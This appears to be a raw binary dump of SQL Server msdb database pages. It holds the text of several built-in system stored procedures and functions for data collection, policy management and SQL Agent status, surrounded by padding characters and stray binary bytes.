!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`%<C&M8T0
" X8CREATE PROCEDURE [dbo].[sp_syscollector_set_cache_directory]
    @cache_directory                    nvarchar(255) = NULL
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    SET @cache_directory = NULLIF(LTRIM(RTRIM(@cache_directory)), N'')

    -- Check if the collector is disabled
    DECLARE @retVal int
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 0
    IF (@retVal <> 0)
        RETURN (1)

    UPDATE [msdb].[dbo].[syscollector_config_store_internal]
    SET parameter_value = @cache_directory
    WHERE parameter_name = N'CacheDirectory'

    RETURN (0)
END
0 8CREATE FUNCTION [dbo].[fn_sysdac_get_username](@user_sid varbinary(85))
RETURNS sysname
WITH EXECUTE AS OWNER
BEGIN	
    DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
    DECLARE @current_user_name sysname;

    IF (@engineEdition = 5)
    BEGIN 
        --SQL Azure does not have syslogins. All the logins reside in sql_logins
        SELECT @current_user_name = name FROM sys.sql_logins where sid = @user_sid 
    END ELSE
    BEGIN
        --OnPremise engine has both sql and windows logins in syslogins
        SELECT @current_user_name = name FROM sys.syslogins where sid = @user_sid 
    END

    RETURN @current_user_name;
END
0CB 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(<L	'M`t0xgt	 +8(getdate())0q	 
8CREATE PROCEDURE sp_is_sqlagent_starting
AS
BEGIN
  DECLARE @retval INT

  SELECT @retval = 0
  EXECUTE master.dbo.xp_sqlagent_is_starting @retval OUTPUT
  IF (@retval = 1)
    RAISERROR(14258, -1, -1)

  RETURN(@retval)
END
0h
 /8(suser_sname())0]w	 8CREATE FUNCTION [dbo].[fn_syscollector_highest_incompatible_mdw_version]()
RETURNS nvarchar(50)
BEGIN
    RETURN '10.00.1300.13'  -- CTP6
END
03m	@ 8CREATE PROCEDURE [dbo].[sp_syspolicy_add_condition] 
@name sysname,
@description nvarchar(max) = N'',
@facet nvarchar(max),
@expression nvarchar(max),
@is_name_condition smallint = 0,
@obj_name sysname = NULL,
@condition_id int = NULL OUTPUT 
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT
	DECLARE @facet_id            INT
	DECLARE @null_column	sysname
	
	SET @null_column = NULL

    IF (@name IS NULL OR @name = N'')
        SET @null_column = '@name'
    ELSE IF( @description IS NULL)
        SET @null_column = '@description'
    ELSE IF( @facet IS NULL)
        SET @null_column = '@facet'
    ELSE IF( @expression IS NULL)
        SET @null_column = '@expression'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_syspolicy_add_condition')
        RETURN(1)
    END

    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_conditions WHERE name = @name)
    BEGIN
        RAISERROR(34010, -1, -1, 'Condition', @name)
        RETURN(1)
    END

    SET @facet_id = (SELECT management_facet_id FROM [dbo].[syspolicy_management_facets] WHERE name = @facet)
    IF (@facet_id IS NULL)
    BEGIN
        RAISERROR (34014, -1, -1)
        RETURN(1)
    END

    INSERT INTO msdb.dbo.syspolicy_conditions_internal(name, description,facet_id,expression,is_name_condition,obj_name) 
        VALUES(@name, @description,@facet_id,@expression,@is_name_condition,@obj_name)
    SELECT @retval = @@error
    SET @condition_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
0}S
 %8((0))0r
 %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!